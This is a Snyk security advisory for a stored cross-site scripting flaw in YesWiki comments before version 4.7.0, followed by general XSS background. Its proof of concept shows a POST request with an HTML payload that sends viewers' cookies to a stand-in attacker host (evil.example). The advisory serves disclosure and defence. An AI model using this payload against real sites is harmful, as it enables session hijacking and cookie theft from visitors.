Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Cross-site Scripting (XSS) vulnerabilities in an interactive lesson.
Start learningUpgrade yeswiki/yeswiki to version 4.7.0 or higher.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the addCommentIfAuthorized method in includes/services/CommentService.php, where comment body content is stored and later rendered without sanitization through the |raw Twig filter. An authenticated user with comment access can submit a comment containing arbitrary HTML or script payloads using the raw-HTML syntax, which are then persistently stored and executed in the browser of every visitor who views the affected page.
Note: This is only exploitable when allow_raw_html is true (the default) and comments are enabled on at least one page by an admin or page owner.
Preconditions:
- YesWiki running with default configuration (allow_raw_html = true, comments_activated = true).
- Comments enabled on a target page (a supported, common per-page setting; the global
default_comment_acl is comments-closed, so an admin or page owner must have enabled
comments on at least one page).
- Attacker holds a normal registered account with comment access to that page.
"".."" raw-HTML syntax to wrap a script payload.POST /?api/comments HTTP/1.1 Host: victim-wiki.example Content-Type: application/x-www-form-urlencoded Cookie: <attacker authenticated session>
pagetag=TargetPage&body=""<img src=x onerror="fetch('https://evil.example/c?'+document.cookie)">""
Rendered into the page DOM (comment.twig, {{ comment.body|raw }}):
<img src=x onerror="fetch('https://evil.example/c?'+document.cookie)">
The onerror handler fires when the page is viewed, exfiltrating the viewer's
non-httpOnly cookies and enabling further actions in the viewer's session.
Note: The PoC states no specific runtime or OS version, but requires YesWiki running with default configuration (allow_raw_html = true, comments_activated = true) and comments enabled on a target page.
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.